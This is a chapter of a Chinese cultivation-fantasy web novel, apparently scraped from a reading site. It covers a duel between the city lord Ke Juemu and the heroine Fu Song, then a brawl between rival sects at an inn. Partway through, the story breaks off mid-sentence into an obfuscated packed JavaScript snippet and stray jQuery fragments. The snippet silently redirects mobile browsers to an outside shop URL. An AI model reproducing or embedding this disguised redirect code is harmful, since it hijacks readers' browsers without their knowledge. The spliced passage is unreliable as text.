柯觉暮盘坐于石台中央,缓缓掀开眼帘,于台下那道雌雄莫辨的黑色身影对上。
他没有过多言语,抬指凝结元力,一道剑罡轰然拔地而起,剑身上暴涨出的白色光芒直直锁向这个不速之客。
“土力—坤舆归墟剑”
霎时间,石台之内光华大亮,骇人的肃穆威压瞬冲而来。无数道白色光柱犹如
牢笼的栅栏一般,将扶凇死死困住其中。
与此同时,叩玉躲在扶凇怀中,神识散开,瞬间将整片密室所笼罩。
扶凇目睹着白华剑阵朝自己攻击过来,浅浅笑了下:“城主还真是狠心,出手就是杀招。”
也免得她多费口舌。
所有伤害过西娆的人,都得死。
“冰墟域。”
幽蓝芒以扶凇为中心铺开,剑阵之内倏尔飘坠下细碎寒晶。
在冰域的影响之下,剑罡的陡然元力凝滞。眨眼间,那些白色光柱便冻结成寒冰慢慢脆化。
柯觉暮一凛,在自己的长剑快要触及到扶凇冰域之中的寒气时急急刹住,落回他身前,震得素色锦袍猎猎翻飞。
他忽的察觉什么,目光微动,细细凝望着扶凇周身环绕的无尽寒气。
“坤厚载物,纳锋藏锐,地承万象,万击不摧。”
白芒剑阵再次落下,柯觉暮脚下猛地铺开黄褐色的坤土剑纹,蓄起地脉之力。
剑纹蔓延到扶凇身前,而那白色剑锋暗蕴着沉猛后劲,看似绵软,但待其靠近之时,便觉如同山岳骤然压向身来。
扶凇迅速退开来,双指结印。
“第六重——万絮化灵。”
空中飘飞的细碎寒晶顿时犹如静止一般,下一秒,淡蓝光晕自它们身上爆开。
寒晶雪絮仿佛被赋予了灵魂,碎如风丝,飞绕游走向柯觉暮,缠绕着他的全身。
这些雪絮亦可借风瞬移,每一粒都如锋芒尖针,无孔不入,欲要刺向台中之人。
原本瞬间便可让这人命殒于此。
不料,时空好似停下前进了,扶凇的雪絮寒晶在此时全然动弹不得,一粒也无法再刺向柯觉暮。
劲风撕裂了密室死寂,柯觉暮起身站立于石台之上,眉眼沉静,突然一挥袖袍。
扶凇身形被滞住,紧紧盯着他口中开始低诵的古咒。
方才静静环列石台的八具古朴棺椁随着一声声咒法震颤起来,棺身上的纹路也亮起漆黑的
纹。
叩玉发现扶凇没有动作,也有些不解:“大人你怎么任由他开启卦阵?”
“我动不了了。”扶凇咬牙道。
“什么?!”
话落,八道黑雾光柱从棺木内冲天而起,在半空中合拢,凝结成一张八卦冥魔大阵。
扶凇的神力源自九天神性,向来可涤荡魔物邪秽,至纯至净。可如今却被这煞阵克制了力量,这阵法她从未见过,绝非寻常邪力。
她周身澄澈的淡蓝光晕慢慢变得黯淡,磅礴的神元似乎也遭什么东西钳制住了,就如同满月降临,根本无法调动分毫。
叩玉慌了:“可是……现在也不是满月之夜啊!”
扶凇身形微晃,竭力站稳。
“大人,要不我们先撤?”
“不……“
扶凇未曾想到,柯觉暮竟还有这种邪术阵法能针对性压制她的神力,倒像是等着她自投罗网来的。
罢了,今日草率了,这人怕是要比单延璟难对付得多。
柯觉暮眸光锁着被阵法压制的人,唇角一抹极淡的弧度,他再度抬手,催得阵法中冥力更盛。
扶凇蹙眉,再柯觉暮下一道剑罡落下之前,身形一隐,蓝色幽光带着她彻底消失不见。
半刻钟后,扶凇与叩玉重新回到洗流岛的地面,竟有一种不实之感。
“什么东西炼出来的邪魔外道?那柯觉暮还真是个疯子。”扶凇骂骂咧咧坐回榻上。
叩玉慢慢钻了出来:“柯觉暮本就与单延璟不一样,单延璟好歹一心向道,只不过最后……”
叩玉顿了顿,话题转了个弯:“我看柯觉暮就是一心想找神心想疯了!当年就看出来他会走火入魔,没想到还真的修了邪术!”
扶凇略微叹了叹气:“可惜啊,让他今晚逃过了一劫……”
话毕,窗外忽的传来了喧嚣吵闹的声音,一声送着更比一声高。
扶凇让叩玉回去睡大觉,自己则换下黑袍推开门出去。
年晗矜在廊上和闻隽站在一处看热闹,听见开门的声音回头道:“阿颂,你怎么醒啦?”
扶凇揉了揉睡眼:“嗯,外面太闹了,我被吵醒的,所以出来看看。”
“你在房里不施避音决?”夙临歧手肘倚在栏杆上,侧眸过来看着她。
扶凇回道:“刚睡着没那么吵,而且还能听到点隔壁酒楼的丝竹管弦,索性就没用避音决。”
夙临歧点了下头,打着哈欠转身欲走:“看他们慢慢吵吧,我先回屋了。”
“那是……长,长姐?”夙临歧刚说完,就听扶凇望着楼下,语气迟疑。
这一问成功挽回了夙临歧的脚步,少年倒回来瞥向扶凇看的位置,果不其然发现了人群最末尾的银发女子。
女子身形清瘦挺拔,着一身赭色劲装,整张面容尽数隐匿在玄铁纹面具之下,看上去寡言少语。她站在众修士之后默默静观其变,令人捉摸不透。
“这是迟瑛?”夙临歧走回栏边道。
前月留寒宗之时,迟瑛强行摧毁自身修为灵根,元力溃散致使满头青丝顷刻之间化为银发。且这女子身形确实与迟瑛格外相仿,然而看不清脸,所以夙临歧未敢断定那就是迟瑛。
但她不是经脉尽断了吗?为何会跟在……
他思绪微转,却被扶凇打断道:“那支队伍是哪个宗门啊?”
她指的正是迟瑛跟随的宗门。
“笑愁庄。”夙临歧回答。
扶凇摇摇头:“我怎么没听说过……”
修真界四大宗门鼎立四方,东有浩音、南据灵玑、西立百里、北守留寒,倒是不曾听过笑愁庄,想必是新秀门派。
不过迟瑛是如何加入笑愁庄的?
她凝神,去听楼下那些修士的争吵之语,对峙双方正是百里派与那笑愁庄的弟子。
起头的是百里派的屠兼风,此人身材魁梧,生得浓眉大眼。他从长椅上站起身时,地面上都落下了一块庞大的阴影。
屠兼风一把月刀长斧扛在肩头,面色不善地朝对桌的笑愁庄诸人嚷道:“怎么现在一群出身驳杂的三教九流都能来了,逢神百会如今门槛这般低了吗?”
楼里众人闻言皆是一怔,倒也有不少人晓得这屠兼风的汹汹敌意从何而来。
据说那笑愁庄的少庄主江曙同他早年前还有几分交情,二人外出历练误入祟瘴沼泽,屠兼风为救江曙亲手斩杀了沼泽地里的潭妖。
不曾料道机缘巧合之下,竟叫江曙独得了潭妖的妖丹,令屠兼风觉得自己的拳拳相助换来的是背信弃义。
二人就此结下梁子,屠兼风自然连带着对笑愁庄也不满。
不过,笑愁庄现如今能在修真界占有一席之地,也并非没有过人之处的。
十年前的回命大战,笑愁庄庄主携全庄上下奋力抗魔,凭借赫赫战绩领着整个门派站稳脚跟,名声大噪,庄中弟子也不畏惧这些老牌宗门的排挤打压。
楼内短暂寂静,江曙沉眸,都不欲同屠兼风多说,其他人也一副不愿搭理的姿态。
这倒是更令屠兼风恼意更深了:“怎么,你们都哑巴了吗?”
下座慢慢品茶的俊美男子略微皱了皱眉,手中折扇轻晃,拽了下屠兼风:“三师兄啊,这毕竟是外头,还是慎言为妙。”
屠兼风冷哼一声,甩开了石初阑。石初阑摇摇头,讪讪地收回手,上楼寻“杳杳”去了。
江曙身侧的季木莱不愿忍了,拧眉开口道:“我们笑愁庄凭借自己实力斩获声望有何不可?!你们百里派怎么好意思说别人?谁不知道你们自家的门主百里姝如今的位子是靠弑兄夺位得来的!”
此话一出,围观的小门小派可都有兴头了。唯有百里派的一众人,面色阴冷得不像话。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884862|212030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
百里派现任门主百里姝与其兄长,也就是前任门主一战而夺走门主之位。还有传言道,乃是百里姝故意趁兄长重伤之际动手,行事冷血无情。
此事可谓是修真界人尽皆知的谈资,不过倒没什么人还亲自跑到人家百里派的修士跟前贴脸的。
“你们岂敢污蔑门主?!三教九流果然德不配位。”屠兼风说罢,抡起月刀长斧就向季木莱劈去,银光闪破灯火。
“你这人……怎么说不赢就动手?”季木莱掌间绿色流光运转,抬指接下屠兼风这一招。
屠兼风长斧翻转,做势要再横劈过去:“金力—狂月啸!”
季木莱闪身避开,不过这一道刀风来势颇猛,银色光刃直直飞扑向另一侧的江曙。
江曙满脸阴鸷,身前凝出红芒盾甲,挡开了刀风:“屠兼风,你怎么这么多年过去了还是一样的粗鲁无状?”
“多说无益,有本事你别只挡不攻啊!”屠兼风讽笑道。
江曙伸手召出拓魂锁链,锁链交织着红色光针,缠向屠兼风而去。
围观看热闹的诸人也被这元力所波及,纷纷后退了几步,开了个盾罩躲着继续看戏。
屠兼风一跃飞身上了楼间,足尖借力落在栏上,长斧斩退了锁链的攻势。
江曙见状,同时翻身追去,拓魂锁链顶部瞬间化作一只泛着玄红的枯瘦人手,抓向对方。
“小师妹,缎来!”屠兼风朝下方大喝一声。
江曙还未反应过来,胳膊就被一卷樱粉色的缎绫给死死缠住。
手持缎绫的少女明眸善睐,桃眼杏面。
百里琼玉对着江曙笑脸盈盈,掌间发力,势要把那人的胳膊都绞断:“你们笑愁庄的人这般辱没我母亲呢,真当我聋了是么?”
季木莱指尖绿藤迸发,藤叶间的毒气冲向百里琼玉的面门,迫使她下意识松了手。
“这什么东西?!”百里琼玉绕着缎绫后撤,目睹着那绿油油的藤枝上,每一片巧叶上都长了一张嘴巴,在喷吐着黄青色雾气。
那些嘴巴吐完后还咂吧一下,又接着吐,看得百里琼玉倒抽一口恶气,满脸鄙夷:
“你们庄子的人练的都是什么恶心人的邪术啊?”
季木莱洋洋得意:“这哪儿恶心了?嘴巴们多可爱!”
围观群众们瞠目结舌。
屠兼风倒是借这空隙,直接翻进二楼。
不过江曙也没闲着,余光瞥了一眼也跟着追过去。
屠兼风当即就转身砍回来,红银两色光芒相撞,猛烈的元力四散开来。
二人缠斗良久,看着快要逼近浩音门这几人来了,扶凇默默后退了几步。
屠兼风的月刀长斧刚斩断那锁链上枯瘦人掌的一根手指,抬眼便跟那头双手抱胸,还懒洋洋倚靠在栏柱的夙临歧对上视线。
夙临歧没有避让后退,像是毫不在意地随意盯着他们,表情在屠兼风看来一脸不屑。
屠兼风心生怨气,蹙眉道:“夙同修如此冷眼旁观,真令人心寒,也不知鸿音真君的在天之灵如何……”
后边的云弥一怒:“你说什么?!我们招你惹你了?”
夙临歧垂眼低笑了声,也未曾言语,手中青色元力顷刻间弹出,磅礴箫音宛若利刃划破夜阑,震颤得正打斗的两人浑身僵了僵。
与此同时,几十个身着玄甲的卫兵破门而入,随之而来的还有一道洪亮的声音:
“今夜城主府遭遇刺客来犯,立刻封锁洗流岛,缉拿所有可疑之人!”
蛊雕将军人未至,声先到,浩荡元力瞬间封锁整座仙楼。
楼内所有人都停止了看戏的喧嚣,面面相觑。缠斗的两个宗派也不得不先做罢。
蛊雕将军在百会城主手下统辖城中诸事,一接到消息就立刻排查过来。
城主说那刺客实力强悍,竟是来无影去无踪,也不曾露出真容。若不是城中宗室之人,多半已经潜藏在洗流岛的各宗弟子中了。
蛊雕将军沉声下令道:“所有在场修士分宗门列队,逐一检测你们的灵脉元力,有法器一律都交出来查验。”